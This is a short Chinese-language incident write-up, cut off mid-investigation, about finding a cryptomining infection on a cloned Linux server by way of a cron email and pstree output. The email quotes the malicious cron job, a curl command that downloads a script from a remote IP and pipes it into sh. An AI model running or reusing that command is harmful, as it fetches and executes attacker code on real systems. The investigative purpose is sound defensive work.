一个挖矿病毒的简单发现历程

今天Clone同事一个开发环境, Clone之后发现 root用户GUI登录不上, 感觉很奇怪.

使用ssh连接nmtui 修改ip地址之后, xshell 连接就可以用了. 但是发现问题:

[root@test-worker02 src]# 
您在 /var/spool/mail/root 中有邮件

查看具体的邮件信息为:

From: "(Cron Daemon)" <root@test-worker02.localdomain>
To: root@test-worker02.localdomain
Subject: Cron <root@test-worker02> curl -fsS 94.237.85.89:8080/0l|sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=77178>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=zh_CN.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20210221060408.BCC5E231DDC7@test-worker02.localdomain>
Date: Sun, 21 Feb 2021 14:04:08 +0800 (CST)

立马警觉, 应该是挖矿病毒的玩法.

开始找问题原因

先查crontab 的内容

crontab -e 

发现内容为空, 感觉比较奇特--这里发现自己还是对linux不熟悉有多重方式创建计划任务.

然后查看进程树.

pstree 看到奇特的命令为:
        ├─colord───2*[{colord}]
        ├─crond─┬─44*[crond───sh─┬─sh]
        │       │                └─wget]
        │       └─2*[crond───sh─┬─curl]
        │                       └─sh]

相应的继续查找进程信息